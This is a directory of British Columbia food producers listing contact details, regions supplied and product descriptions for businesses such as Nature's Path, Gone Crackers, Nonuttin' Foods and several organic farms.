Created in Nature's Path's Delta, BC plant from organic whole oat flour, organic concentrated grape juice, organic brown rice flour, organic whole millet, organic oat bran, organic barley malt extract and sea salt. Special attributes: Organically grown and processed ingredients. Wheat free/high fiber/low sodium/vegan. Unit size: Sold in two sizes: 13.25 oz (375 g) carton and Eco Pac 32 oz (907 g). Package features: Available in retail carton or in Eco Pac®. Retail paperboard carton (recycled) has been reduced in size by 10% without reducing the contents, saving British Columbia trees and fuel. Eco-Pacs are bulk sized and provide environmentally-concerned consumers a choice: 66% less packaging and 30% greater value. Packaging presentation: All graphics generated by internal Nature's Path design team in Richmond, BC. Ingredients and their nutritional information are provided on a convenient and easy-to-read panel on packaging. Informational "stories" about key ingredients, organic growing methods and sustainable values are included in a pleasing and artistic format for easy, inspiring and entertaining reading. Cereal retail cartons make attractive displays. Find full description, picture and ingredients at: <http://www.naturespath.com/products/breads>. \*Trademark used under license.

#### Multigrain Flakes - Year Round

Created in Nature's Path's Delta, BC plant, from organic whole oat flour, organic whole wheat flour, organic wheat bran, organic evaporated cane juice, organic oat bran, organic yellow corn meal, organic brown rice flour, organic barley malt extract, sea salt and organic whole wheat sprouts. Special attributes: Organically grown and processed ingredients. High fiber/low sodium/low fat/vegan. Unit size: Sold in two sizes: 13.25 oz (375g) carton and Eco Pac 32 oz (907 g). Package features: Available in retail carton or in Eco Pac®\*. Retail paperboard carton (recycled) has been reduced in size by 10% without reducing the contents, saving British Columbia trees and fuel. Eco-Pacs are bulk sized and provide environmentally-concerned consumers a choice: 66% less packaging, and 30% greater value. Packaging presentation: All graphics generated by internal Nature's Path design team in Richmond, BC. Ingredients and their nutritional information are provided on a convenient and easy-to-read panel on packaging. Informational "stories" about key ingredients, organic growing methods and sustainable values are included in a pleasing and artistic format for easy, inspiring and entertaining reading. Cereal retail cartons make attractive displays. Find full description, picture and ingredients at: <http://www.naturespath.com/products/breads>. \*Trademark used under license.

#### Fruit Juice Corn Flakes - Year Round

Created in Nature's Path's Delta, BC plant, from organic corn meal, organic concentrated grape juice and sea salt. Special attributes: Organically grown and processed ingredients. Sweetened with organic and natural fruit juice. Wheat free/gluten free/low sodium/vegan. Unit size: Sold in two sizes: 10.6 oz (300 g) carton and Eco Pac 26.4 oz (750 g). Package features: Available in retail carton or in Eco Pac®\*. Retail paperboard carton (recycled) has been reduced in size by 10% without reducing the contents, saving British Columbia trees and fuel. Eco-Pacs are bulk sized and provide environmentally-concerned consumers a choice: 66% less packaging and 30% greater value. Packaging presentation: All graphics generated by internal Nature's Path design team in Richmond, BC. Ingredients and their nutritional information are provided on a convenient and easy-to-read panel on packaging. Informational "stories" about key ingredients, organic growing methods and sustainable values are included in a pleasing and artistic format for easy, inspiring and entertaining reading. Cereal retail cartons make attractive displays. Find full description, picture and ingredients at: <http://www.naturespath.com/products/breads>. \*Trademark used under license.

#### Honey'd Corn Flakes - Year Round

Created in Nature's Path's Delta, BC plant, from organic corn meal, organic evaporated cane juice, organic honey, and sea salt. Special attributes: Organically grown and processed ingredients. Wheat free/gluten free/low sodium. Unit size: Sold in two sizes: 10.6 oz (300 g) carton and Eco Pac 26.4 oz (750 g). Package features: Available in retail carton or in Eco Pac®\*. Retail paperboard carton (recycled) has been reduced in size by 10% without reducing the contents, saving British Columbia trees and fuel. Eco-Pacs are bulk sized and provide environmentally-concerned consumers a choice: 66% less packaging and 30% greater value. Packaging presentation: All graphics generated by internal Nature's Path design team in Richmond, BC. Ingredients and their nutritional information are provided on a convenient and easy-to-read panel on packaging. Informational "stories" about key ingredients, organic growing methods and sustainable values are included in a pleasing and artistic format for easy, inspiring and entertaining reading. Cereal retail cartons make attractive displays. Find full description, picture and ingredients at: <http://www.naturespath.com/products/breads>. \*Trademark used under license.

#### Heritage O's - Year Round

Created in Nature's Path's Delta, BC plant, from a unique blend of heirloom whole grains organically grown on the rich Canadian prairies. Kamut®, winter wheat, spelt, oats, barley, millet and quinoa add great taste to this popular cereal. Special attributes: Organically grown and processed ingredients. Made with unique heirloom whole grains. High fiber/low sodium. Unit size: Sold in two sizes: 12.5 oz (350 g) carton and Eco Pac 32 oz (907 g). Package features: Available in retail carton or in Eco Pac®. Retail paperboard carton (recycled) has been reduced in size by 10% without reducing the contents, saving British Columbia trees and fuel. Eco-Pacs are bulk sized and provide environmentally-concerned consumers a choice: 66% less packaging, and 30% greater value. Packaging presentation: All graphics generated by internal Nature's Path design team in Richmond, BC. Ingredients and their nutritional information are provided on a convenient and easy-to-read panel on packaging. Informational "stories" about key ingredients, organic growing methods and sustainable values are included in a pleasing and artistic format for easy, inspiring and entertaining reading. Cereal retail cartons make attractive displays. Find full description, picture and ingredients at: <http://www.naturespath.com/products/breads>. \*Trademark used under license.

#### Heritage,® Flakes - Year Round

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Created in Nature's Path's Delta, BC plant, from a unique blend of heirloom whole grains organically grown on the rich Canadian prairies. Kamut®\*, winter wheat, spelt, oats, barley, millet and quinoa add great taste to this popular cereal. Special attributes: Organically grown and processed ingredients. Made with unique heirloom whole grains. High fiber/low sodium. Unit size: Sold in two sizes: 13.25 oz (375 g) carton and Eco Pac 32 oz (907 g). Package features: Available in retail carton or in Eco Pac®. Retail paperboard carton (recycled) has been reduced in size by 10% without reducing the contents, saving British Columbia trees and fuel. Eco-Pacs are bulk sized and provide environmentally-concerned consumers a choice: 66% less packaging and 30% greater value. Packaging presentation: All graphics generated by internal Nature's Path design team in Richmond, BC. Ingredients and their nutritional information are provided on a convenient and easy-to-read panel on packaging. Informational "stories" about key ingredients, organic growing methods and sustainable values are included in a pleasing and artistic format for easy, inspiring and entertaining reading. Cereal retail cartons make attractive displays. Find full description, picture and ingredients at:<http://www.naturespath.com/products/breads>. \*Trademark used under license.

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## Nichol Fine Foods - 800-595-1677

**Contact:** Heather Nichol

**Toll Free:** Unavailable

**Phone:** 800-595-1677

**Cell:** Unavailable

**Fax:** 778-578-0726

**Email:** [info@gonecrackers.ca](mailto:info@gonecrackers.ca)

**Website:** [www.gonecrackers.ca](http://www.gonecrackers.ca)

### **Address:**

Surrey, BC

V3W 1B3

### **Regions Supplied:**

- Thompson/Okanagan
- Kootenay
- Vancouver/Mainland
- Vancouver Island & Gulf Islands

### **Company Notes:**

Gone Crackers is a BC based artisanal line of gourmet crackers. Made in small batches, their simple list of ingredients, excluding sugar, seeds, and nuts makes them a great compliment to wine. Seven delicious flavours are marketed to specialty food shops, gift baskets, wineries and wine shops. Their bold flavour, unique texture, and artistic colourful packaging set Gone Crackers into a niche of their own. Food Service is also available.

Gone Crackers was specifically designed to compliment wine by local Vancouver Foodie Heather Nichol. Their unique texture and flavours make them very versatile with cheeses, dips, and spreads. Wine Pairing material is available to enhance the buying experience.

### **Products Available:**

#### Blue Cheese & Cracked Pepper Crackers - Year Round

These Blue Cheese & Cracked Pepper will be a standout completely on their own, as a piquant and peppery snack. But Heather Nichol, the woman behind these tasty, wine-friendly crackers suggests the Blue Cheese & Cracked Pepper cracker is, "great with a seafood pate, or fig tapenade. A simple dollop of cream cheese works fine too..." Food Service Format Case Size: 8 X 7 X 13" Case Weight: 4 kg. approx. Case Yield: 600 crackers approx.

#### Pharmesan & Rosemary Crackers - Year Round

A delicious cracker, inspired by Heather Nichol's love for Italian food. Nichol says this cracker makes the best croutons for Caesar salads... "It's great on its own with wine, but is also good with a simple soft cheese." Food Service Format Case Size: 8 X 7 X 13" Case Weight: 4 kg. approx. Case Yield: 600 crackers approx.

#### Canadian Cheddar & Chive Crackers - Year Round

A line of Canadian crackers had to have the classic flavour of aged Canadian cheddar as one of its flavours. With the subtle addition of chives, this is popular one to keep in the cupboard for an afternoon snack! Food Service Format Case Size: 8 X 7 X 13" Case Weight: 4 kg. approx. Case Yield: 600 crackers approx.

#### Undressed Crackers - Year Round

Select BC Wineries asked if I would create a palate cleanser cracker to serve at their wine tastings. I created this simple style of cracker with just a few ingredients: flour, sea salt and olive oil. People loved them, and then wanted to buy them. Their delicate flavour made them the perfect cracker for any dip, pate, tapenade, cheese... you name it! So try them with your favourite toppings, or at your own wine tasting, because "UNDRESSED" is now available for all to enjoy! Food Service Format Case Size: 8 X 7 X 13" Case Weight: 4 kg. approx. Case Yield: 600 crackers approx.



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#### Olive Oil & Cracked Pepper Crackers - Year Round

The Gone Crackers Olive Oil & Cracked Pepper are a great base for any number of toppings, the richness of the olive oil and piquant complimentary pepper are a wonderful base for - white bean dip, creamy cheeses like delicious Tallegio cheese or mushroomy brie, oven roasted tomatoes, olive tepanade, artichoke and almond tepanade...Food Service Format Case Size: 8 X 7 X 13"Case Weight:4 kg. approx.Case Yield: 600 crackers approx.

#### Roasted Shallot & Herb Crackers - Year Round

The Roasted Shallot & Herb might be my favourite Gone Crackers flavour. I love the savoury, earthy characters offset by the sweet nuances of the roasted shallots.These sweet/earthy flavours are a perfect foil for exotic wines with sweet fruity tones, while the earthy/herbal elements compliment wines that have similar characters.Food Service Format Case Size: 8 X 7 X 13"Case Weight:4 kg. approx.Case Yield: 600 crackers approx.

#### Moroccan Spice Crackers - Year Round

"This is a flavour that has been in the works for about five years now. It's fun to experience other cuisines, and with that comes pairings of wine varietals that may not be my everyday choices. This coming year is my 10th year with Gone Crackers, and I couldn't think of a better way to do it than with an exciting new flavour!"The exotic flavours of Morocco have been captured in this cracker. Great with goat cheese (or a soft creamy cheese), chutneys, tapenades, hummous... Even guacamole.Food Service Format Case Size: 8 X 7 X 13"Case Weight:4 kg. approx.Case Yield: 600 crackers approx.

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## Nimitz Beef - 250-719-5882

**Contact:** Michael Nimitz

**Toll Free:** Unavailable

**Phone:** 250-719-5882

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [michaelnimitz@nimitzbeef.com](mailto:michaelnimitz@nimitzbeef.com)

**Website:** [www.nimitzbeef.com](http://www.nimitzbeef.com)

**Address:**

PO Box 908

Dawson Creek, BC

V1G 4H9

**Regions Supplied:**

- Peace

**Company Notes:**

Our beef is produced on our ranch that is operated in accordance to a recognized environmental farm plan. Our animals are finished on grass and flax in free range pastures. They are never exposed to hormones or animal cruelty. Our cattle eat a strictly vegetarian diet with no animal by products and antibiotics are never used to promote growth. Our product is dry-aged by trusted meat cutters and is available for shipping or pickup in the Peace Region of BC.

**Products Available:**

Ranch Raised Beef - Year Round

Ranch Raised Beef Products. Lean Ground Beef, Steaks, Roasts and Hamburger Patties. All our products are free of chemicals and preservatives.

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## Ninas Pierogi - 604-720-9370

**Contact:** Iwona Paczek

**Toll Free:** Unavailable

**Phone:** 604-720-9370

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [yvonnep2406@gmail.com](mailto:yvonnep2406@gmail.com)

**Website:** ninaspierogi.com

**Address:**

105 19705 56 Ave.

Langley, BC

V3A 3X7

**Regions Supplied:**

- Vancouver/Mainland

**Company Notes:**

**Products Available:**

Pierogi - Year Round

Vegan and Gluten Free

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## Nonuttin' Foods Inc. - 866-714-5411

**Contact:** Alana Elliott

**Toll Free:** Unavailable

**Phone:** 866-714-5411

**Cell:** Unavailable

**Fax:** 888-738-7732

**Email:** [info@nonuttin.com](mailto:info@nonuttin.com)

**Website:** [www.nonuttin.com](http://www.nonuttin.com)

### **Address:**

2911-1 Allenby Road

Duncan, BC

V9L 4T8

**Regions Supplied:** All of BC

### **Company Notes:**

Nonuttin' Foods Inc. manufactures granola bars for the growing number of food allergic people and their families. Free of 8 of the top 10 food allergens, Nonuttin' Granola Bars also make a tasty snack for peanut and nut-free schools.

### **Products Available:**

#### Nonuttin' Granola Bars - Raisin - Year Round

From a delicious original recipe created by the mother of a peanut and nut-allergic child, Nonuttin'\ Granola Bars are free of 8 of the top 10 food allergens. Nonuttin'\ Granola Bars have no: peanuts, tree nuts, dairy, seeds, egg, sulphites, trans fat, animal by-products. Nonuttin'\ Granola Bars are kosher-certified and suitable for vegetarians. Nonuttin'\ Granola Bars are particularly well suited as snacks for the growing number of peanut and nut-free schools. Nonuttin'\ Granola Bars are currently available in point-of-purchase boxes of 16 bars and packed in master cases of 4 boxes for a total of 64 bars. All individual bars and point-of-purchase boxes have UPC codes. Nonuttin'\ Granola Bars have a shelf life of 6 months from the date of manufacture.

#### Nonuttin' Granola Bars - Chocolate Chip - Year Round

From a delicious original recipe created by the mother of a peanut and nut-allergic child, Nonuttin'\ Granola Bars are free of 8 of the top 10 food allergens. Nonuttin'\ Granola Bars have no: peanuts, tree nuts, dairy, seeds, egg, sulphites, trans fat, animal by-products. Nonuttin'\ Granola Bars are kosher-certified and suitable for vegetarians. Nonuttin'\ Granola Bars are particularly well suited as snacks for the growing number of peanut and nut-free schools. Nonuttin'\ Granola Bars are currently available in point-of-purchase boxes of 16 bars and packed in master cases of 4 boxes for a total of 64 bars. All individual bars and point-of-purchase boxes have UPC codes. Nonuttin'\ Granola Bars have a shelf life of 6 months from the date of manufacture.

#### Nonuttin' Granola Bars - Apple Cinnamon - Year Round

From a delicious original recipe created by the mother of a peanut and nut-allergic child, Nonuttin'\ Granola Bars are free of 8 of the top 10 food allergens. Nonuttin'\ Granola Bars have no: peanuts, tree nuts, dairy, seeds, egg, sulphites, trans fat, animal by-products. Nonuttin'\ Granola Bars are kosher-certified and suitable for vegetarians. Nonuttin'\ Granola Bars are particularly well suited as snacks for the growing number of peanut and nut-free schools. Nonuttin'\ Granola Bars are currently available in point-of-purchase boxes of 16 bars and packed in master cases of 4 boxes for a total of 64 bars. All individual bars and point-of-purchase boxes have UPC codes. Nonuttin'\ Granola Bars have a shelf life of 6 months from the date of manufacture.

#### Nonuttin' Granola Bars - Vanilla Cinnamon (Available August 2006) - Year Round

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From a delicious original recipe created by the mother of a peanut and nut-allergic child, Nonuttin\ Granola Bars are free of 8 of the top 10 food allergens. Nonuttin\ Granola Bars have no: peanuts, tree nuts, dairy, seeds, egg, sulphites, trans fat, animal by-products. Nonuttin\ Granola Bars are kosher-certified and suitable for vegetarians. Nonuttin\ Granola Bars are particularly well suited as snacks for the growing number of peanut and nut-free schools. Nonuttin\ Granola Bars are currently available in point-of-purchase boxes of 16 bars and packed in master cases of 4 boxes for a total of 64 bars. All individual bars and point-of-purchase boxes have UPC codes. Nonuttin\ Granola Bars have a shelf life of 6 months from the date of manufacture.

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## North Arm Farm - 604-894-5379

**Contact:** Jordan Sturdy

**Toll Free:** Unavailable

**Phone:** 604-894-5379

**Cell:** Unavailable

**Fax:** 604-894-6650

**Email:** [jordan@northarmfarm.com](mailto:jordan@northarmfarm.com)

**Website:** [www.northarmfarm.com](http://www.northarmfarm.com)

### **Address:**

1888 Hwy 99, Box 165

Pemberton, BC

V0N 2L0

### **Regions Supplied:**

- Vancouver/Mainland

### **Company Notes:**

North Arm Farm Products are grown with organic fertilizer and use organic production methods, including cover cropping and crop rotation. We do not use herbicides, pesticides or fungicides.

### **Products Available:**

Celeriac - Fall, Winter,

A root vegetable that is available October - April.

Specialty Potatoes - Fall, Winter, Spring,

Fingerling, Blue, Yukon, and Candy Cane. Available September to April.

Various Bakery Products - Year Round

Fruit pies, bars, scones, muffins, cookies, butter tarts and specialty breads. Call for availability.

Preserves - Year Round

Various types available.

Pickled Vegetables - Year Round

Beets, carrots, beans and asparagus.

Fruit Vinegars - Year Round

No description available

## Nufora Foods Inc. - 604-757-278

**Contact:** Jesse Chen

**Toll Free:** Unavailable

**Phone:** 604-757-278

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [info@boringfoods.com](mailto:info@boringfoods.com)

**Website:** [www.boringfoods.com](http://www.boringfoods.com)

**Address:**

154-11782 River Road

Richmond, BC

V6X 1Z7

**Regions Supplied:**

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

**Company Notes:**

**Products Available:**

Naturally Original Boring Porridge - Year Round

the original and very first (and most Boring) of Boring Porridges. however to most of its fans, it is known for its very natural flavors that is the essence of Boring porridge with the distinct flavors of roasted sesame and flax that awaken your senses. a true original in its own. Ingredients: Flax seeds, Sesame seeds, Chia, Goji Berries, Red Dates, Cane Sugar, Sea Salt. Available in a variety of packet sizes

Coconut Breeze Boring Porridge - Year Round

being far from a tropical oasis and coconut trees doesn't mean you can't bring the exotic paradise to your mouth. come try something exotic and fresh - it's a good thing. just close your eyes and enjoy. feel the breeze of the tropics and taste the coconut. ingredients: Flax seeds, Sesame seeds, Shredded Coconut, Chia, Goji Berries, Red Dates, Cane Sugar, Sea Salt. Available in a variety of packet sizes

Chocolate Chips Boring Porridge - Year Round

as if you don't get enough chocolate in your day - whoever thought up of putting chocolate chips in your porridge must be ludicrous! as if people want to be eating a deep chocolatey bowl of porridge filled with cocoa and unsweetened chocolate chips...like, ew. stay away. ingredients: Flax seeds, Sesame seeds, Chia, Cocoa, Chocolate Chips, Goji Berries, Red Dates, Cane Sugar, Sea Salt. Available in a variety of packet sizes

Prairie Oats Boring Porridge - Year Round

How can we forget our Canadian prairies and the all our golden grains? From Prairie flax to prairie oats, not only are we proud of our roots, we are equally proud of our hearty and heart-healthy foods. yes, it's Canadian. Ingredients: Instant Oats, Sesame seeds, Flax seeds, Chia, Goji Berries, Red Dates, Cane Sugar, Sea Salt. Available in a variety of packet sizes

Apple Cinnamon Boring Porridge -

Remember that old apple tree in the back of your yard back when you were still a kid? And how sweet, crisp, and tangy they were as you first took a bite during the warm summer days? And how granny used to take them to make her old secret recipe apple cinnamon pies? Well if not that's okay - because it certainly doesn't taste like a pie! Except we sure put a whole lot of dried apples & cinnamon in your bag of porridge! but we know you love your apples and cinnamon. Ingredients: Flax seeds, Sesame seeds, Dried apples, Chia, Goji Berries, Red Dates, Cane Sugar, Cinnamon, Sea Salt. Available in a variety of packet sizes.

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Mixed Variety 6 Pack-Boring Porridge -

Don't know what to choose? Or you just want more variety? Get all 5 varieties AND choose 1 other to add for your 6-pack! So, put some variety into your bowl every morning! 6 Pack for \$48.55



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## O'Reilly's Farm - 250-498-6044

**Contact:** David O'Reilly

**Toll Free:** Unavailable

**Phone:** 250-498-6044

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [Unavailable](#)

**Website:** [www.bbcanada.com/oreillysfarm](http://www.bbcanada.com/oreillysfarm)

**Address:**

R.R. #2, Site 15, Comp 7 37617 Hwy. 97

Oliver, BC

V0H 1T0

**Regions Supplied:**

- Thompson/Okanagan

**Company Notes:**

Our farm has been growing organically for over 15 years. The wetland and riparian area on our farm is protected by a Conservation Covenant with The Land Conservancy of BC. We have a 3-bedroom "bed and breakfast" where we use environmentally-friendly products and serve organic breakfasts. Please see our website at [www.bbcanada.com/oreillysfarm](http://www.bbcanada.com/oreillysfarm).

**Products Available:**

Certified Organic Cherries - Summer

No description available

Certified Organic Apricots - Summer

No description available

Certified Organic Peaches - Summer

No description available

Certified Organic Plums - Summer

No description available

Certified Organic Pears - Summer

No description available

---

## Ocean Amber - 604-215-7007

**Contact:** Sheryl Mann

**Toll Free:** Unavailable

**Phone:** 604-215-7007

**Cell:** Unavailable

**Fax:** 604-215-7806

**Email:** [info@ocean-amber.com](mailto:info@ocean-amber.com)

**Website:** [www.ocean-amber.com](http://www.ocean-amber.com)

**Address:**

2295 Commissioner Street

Vancouver, BC

V5L 1A4

**Regions Supplied:**

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

**Company Notes:**

From the pristine waters of the Pacific Ocean to your plate, Ocean Amber brings you the unique and new taste of Cold Smoked Rockfish. Caught off the coasts to British Columbia, cut, smoked and packaged in the heart of Vancouver, you can be sure this product is purely Canadian. We are the only company in Canada offering this new and exciting product! Ocean Amber Cold Smoked Rockfish has been featured on CBC's Fortune Hunters, in City Food Magazine, Chef's News (the official magazine of the BC Chefs' Association) and the North Shore News.

**Products Available:**

Cold Smoked Rockfish - Year Round

The concept behind our Cold Smoked Rockfish was to create a market for an under utilized species of our coast by creating an alternative to Salmon Lox. The goal was not necessarily to create a cost alternative but a taste alternative. Our product can be used in many of the same applications - on a bagel with cream cheese, as an hors d'oeuvres, etc. We can provide pre-sliced Cold Smoke Rockfish in 100 g or 454 g packages, and in fillet form. This product is available in either you frozen or refrigerated departments. Please contact us for more information at [info@ocean-amber.com](mailto:info@ocean-amber.com)

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## October Farm - 250-330-4465

**Contact:** Del or Eileen Myers

**Toll Free:** Unavailable

**Phone:** 250-330-4465

**Cell:** Unavailable

**Fax:** 250-330-4460

**Email:** [eileen\\_myers@telus.net](mailto:eileen_myers@telus.net)

**Website:** Unavailable

**Address:**

21845 Hwy 97 South

Prince George, BC

V2N 6A3

**Regions Supplied:**

- Peace
- Bulkley/Natchako
- Cariboo

**Company Notes:**

October Farm processes grass-finished bison, with no hormones, antibiotics, or vaccines used. Not grain feed or finished. Available all year.

**Products Available:**

Grass-Finished Bison Roasts (frozen) - Year Round

No description available

Grass-Finished Bison Primal Cuts (frozen) - Year Round

No description available

Grass-Finished Bison Cooked Sausages (frozen) - Year Round

No description available

Grass-Finished Bison Short Ribs (frozen) - Year Round

No description available

Grass-Finished Bison Soup Bones (frozen) - Year Round

No description available

Grass-Finished Bison Fresh Sausages (frozen) - Year Round

No description available

Grass-Finished Bison Products (frozen) - Year Round

4 oz bison patties, lean bison stew meat, lean ground bison, bison formed jerky, bison traditional jerky, bison tail, liver, kidney, heart and tongue.

Grass-Finished Bison Steaks (frozen) - Year Round

No description available



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## Ogopogo Salsa - 250-859-7714

**Contact:** Tyler Chartrand

**Toll Free:** Unavailable

**Phone:** 250-859-7714

**Cell:** Unavailable

**Fax:** 250-860-7097

**Email:** [OgopogoSalsa@gmail.com](mailto:OgopogoSalsa@gmail.com)

**Website:** [www.ogopogosalsa.ca](http://www.ogopogosalsa.ca)

**Address:**

1354 Lombardy Square

Kelowna, BC

V1Y 3S4

**Regions Supplied:**

- Thompson/Okanagan

**Company Notes:**

Made from Okanagan fruit and preserved in jars so that we can enjoy the Okanagan harvest year round!

**Products Available:**

No products listed.

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## Okanagan Harvest - 250-498-4669

**Contact:** Chris Norton

**Toll Free:** Unavailable

**Phone:** 250-498-4669

**Cell:** Unavailable

**Fax:** 250-498-4601

**Email:** [okanaganharvest@gmail.com](mailto:okanaganharvest@gmail.com)

**Website:** [www.okanaganharvest.com](http://www.okanaganharvest.com)

**Address:**

953 Willowbrook Road

Oliver, BC

V0H 1T5

**Regions Supplied:** All of BC

**Company Notes:**

We are a third generation farm family growing exceptional quality fruit and vegetables for the people of Canada.

**Products Available:**

Sun-dried Cherries - Year Round

Sun-dried cherries with no preservatives or added sugar. Bulk packaging available from five pounds to twenty pounds as well as smaller individual retail window packages of 1/2 pound and 1 pound. Minimum order of 5 pounds can be mailed anywhere in Canada for \$50. Five varieties of cherries including vans, lapins, sweethearts, staccato and rainiers. CanadaGAP certified and lab tested.

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## Okanagan Mobile Juicing Inc - 250-550-8885

**Contact:** Kristen Trovato

**Toll Free:** Unavailable

**Phone:** 250-550-8885

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [info@mobilejuicing.com](mailto:info@mobilejuicing.com)

**Website:** <http://www.mobilejuicing.com>

**Address:**

5955 Lytton Road

Vernon, BC

V1B 3J9

**Regions Supplied:** All of BC

**Company Notes:**

As small scale processors of 100% Pure Okanagan apple juice, we hope to connect our clients with buyers province wide. Our 5L Bag-in-Box packaging increases product flavour and shelf life.

**Products Available:**

Apple Juicing - Year Round

Okanagan Mobile Juicing Inc is a mobile apple pressing, pasteurizing and packaging service. We assist our clients in maximizing their harvest through utilization of all fruits. Our juices are 100% local apples pressed on the very orchard where they were grown. We use a flash pasteurization to produce a safe, delicious product packaged in a 5L bag in box system. They have a one year shelf life and two months after opening, unrefrigerated. We are happy to connect our clients with buyers.

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## Okanagan Poultry Processing - 778-447-4404

**Contact:** Peggy Thompson

**Toll Free:** Unavailable

**Phone:** 778-447-4404

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [peggy@okpoultryprocessing.com](mailto:peggy@okpoultryprocessing.com)

**Website:** <http://www.okpoultryprocessing.com>

**Address:**

3150 Balldock Road

Kelowna, BC

V1W 4C3

**Regions Supplied:**

- Thompson/Okanagan

**Company Notes:**

Custom slaughter of locally grown poultry

**Products Available:**

Custom slaughtering of locally grown poultry - Year Round

No description available



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## Old Tower Farm - 250-499-5654

**Contact:** Donna Bartlet

**Toll Free:** Unavailable

**Phone:** 250-499-5654

**Cell:** Unavailable

**Fax:** 250-499-5654

**Email:** [alainp@telus.net](mailto:alainp@telus.net)

**Website:** [www.oldtowerfarm.com](http://www.oldtowerfarm.com)

**Address:**

RR1 Site 91, Comp 4

Keremeos, BC

V0X 1N0

**Regions Supplied:**

- Thompson/Okanagan

**Company Notes:**

Experience a quiet vacation on an organic farm. Delight your friends and guests with our unique greeting apples.

**Products Available:**

Certified Organic Strawberries - Spring,

Fresh, smaller size and very tasty. Available seasonally mid May to Mid June.

Certified Organic Strawberries (Frozen) - Spring,

Frozen Whole - Certified Organic. Available mid-May while supplies last.

Certified Organic Nectarines - Summer

Available seasonally.

Certified Organic Nectarines (Frozen) - Summer

Available August as supplies last.

Certified Organic Apples - Fall,Summer

Certified Organic Fuji, Spartan, Macintosh, Golden Delicious and Ambrosia. Available seasonally.

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## Omega Blue Farms - 250-757-2006

**Contact:** Wayne & Dawn Osborne

**Toll Free:** Unavailable

**Phone:** 250-757-2006

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [bcbreeder@lycos.com](mailto:bcbreeder@lycos.com)

**Website:** <http://www3.telus.net/OmegaBlue/>

**Address:**

1075 Spider Lake Road

Qualicum Beach, BC

V9K 2L7

**Regions Supplied:**

- Vancouver Island & Gulf Islands

**Company Notes:**

**Products Available:**

Heritage Chicken - Year Round

Heritage Chicken - Slow grown, naturally pastured, and processed using traditional farm practices. Locally bred lines. No Chemicals, Hormones, Antibiotics, etc. Available upon custom order.

Heritage Turkey - Fall,

Heritage Turkey - Standard Bred Bronze. Locally developed line. Naturally pastured and processed using traditional farm practices. No Chemicals, Hormones, Antibiotics, etc. Available upon custom order.

Vegetables - Fall,

Various vegetables grown under non-certified organic conditions. Natural Spring fed irrigation. Fertilized by compost from poultry farm. Virgin land, we are the first to farm it and have never used chemicals. We will custom grow specialty fruit and vegetables on a contract basis.

Duck - Year Round

Duck - Standard Bred Muscovy, naturally pastured and processed using traditional farm practices. Locally developed line. No Chemicals, Hormones, Antibiotics, etc. Available upon custom order.

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## One Hundred Mile Wild Foods - 250-896-5243

**Contact:** Eric

**Toll Free:** Unavailable

**Phone:** 250-896-5243

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [eric@onehundredmilewildfoods.com](mailto:eric@onehundredmilewildfoods.com)

**Website:** [www.onehundredmilewildfoods.com](http://www.onehundredmilewildfoods.com)

**Address:**

Victoria, BC

V8P 1Y7

**Regions Supplied:**

- Vancouver Island & Gulf Islands

**Company Notes:**

BC Gourmet wild mushrooms. For products and information please see our website, [www.onehundredmilewildfoods.com](http://www.onehundredmilewildfoods.com)

**Products Available:**

BC Gourmet Dried Wild Mushrooms - Year Round

Many varieties, retailed in 1 ounce packages with added recipe.

BC Gourmet Dried Wild Mushrooms - Year Round

Emerging Niche, Dried wild mushroom products - soup mixes, risottoos, sauces and gravies.

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## Origin Organic Farms Inc. - 604-940-3928

**Contact:** Justin Hochstrasser

**Toll Free:** Unavailable

**Phone:** 604-940-3928

**Cell:** Unavailable

**Fax:** 604-940-3968

**Email:** [info@origino.ca](mailto:info@origino.ca)

**Website:** [www.origino.ca](http://www.origino.ca)

**Address:**

6225-34B Avenue

Delta, BC

V4L 2N8

**Regions Supplied:** All of BC

**Company Notes:**

**Products Available:**

Heirloom Tomatoes - Fall,Summer

No description available

Organic Tomatoes on the Vine - Fall,Spring,Summer

No description available

Red Grape Tomatoes - Fall,Summer

No description available

Organic Bell Peppers - Fall,Spring,Summer

No description available

Organic Long English Cucumbers - Fall,Spring,Summer

No description available

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## Otter Meadows Farm - 604-626-0303

**Contact:** Greg Dawe  
**Toll Free:** Unavailable  
**Phone:** 604-626-0303  
**Cell:** Unavailable  
**Fax:** Unavailable  
**Email:** [kpope@telus.net](mailto:kpope@telus.net)  
**Website:** Unavailable

**Address:**  
2619 256 Street  
Aldergrove, BC  
V4W 1Y3

**Regions Supplied:**  
- Vancouver/Mainland

**Company Notes:**

**Products Available:**  
No products listed.

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## P & R Farms - 250-971-2277

**Contact:** Robert Bucher

**Toll Free:** Unavailable

**Phone:** 250-971-2277

**Cell:** Unavailable

**Fax:** 250-971-2270

**Email:** [prfarm@telus.net](mailto:prfarm@telus.net)

**Website:** Unavailable

### **Address:**

12800 Salmon Valley Road

Prince George, BC

V2K 5T4

### **Regions Supplied:**

### **Company Notes:**

P & R Farms has been well known in the Prince George and Mackenzie region for its fresh, certified organic produce for the past five years. Produce includes specialty head lettuce, mixed lettuce, tomatoes, cherry tomatoes, cucumbers and zucchini.

### **Products Available:**

Variety of Potatoes - Year Round

No description available

Carrots - Year Round

Regular carrots as well as purple carrots available.

Onions - Year Round

No description available

Celery Roots - Celery - Year Round

No description available

Leek - Year Round

No description available

Cherry Tomatoes - Year Round

No description available

Beans - Year Round

No description available

Broccoli - Fall, Spring, Summer

No description available

Baby Carrots, Purple Carrots - Fall, Spring, Summer

No description available

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Lettuce - Fall, Spring, Summer

Lettuce Mix, Head Lettuce, Romaine Lettuce Red or Green, and specialty types of greens. All certified organic and available until late fall.

Green Onions - Fall, Spring, Summer

No description available

Sugar Peas, Snow Peas and Regular Peas - Fall, Spring, Summer

No description available

Cucumbers - Fall, Spring, Summer

No description available

Zucchini, Squash - Fall, Spring, Summer

No description available

Regular Beets, Golden Beets, Gioggia Beets - Fall, Spring, Summer

No description available

Peppers - Fall, Spring, Summer

No description available

Regular, Red and Savoy Cabbage - Fall, Spring, Summer

No description available

Variety of Herbs - Fall, Spring, Summer

Green Basil, Purple Basil, Lemon Basil, Arugula, Parsley, Cilantro, Sage, Summer Savory and Rosemary.

Spinach - Fall, Spring, Summer

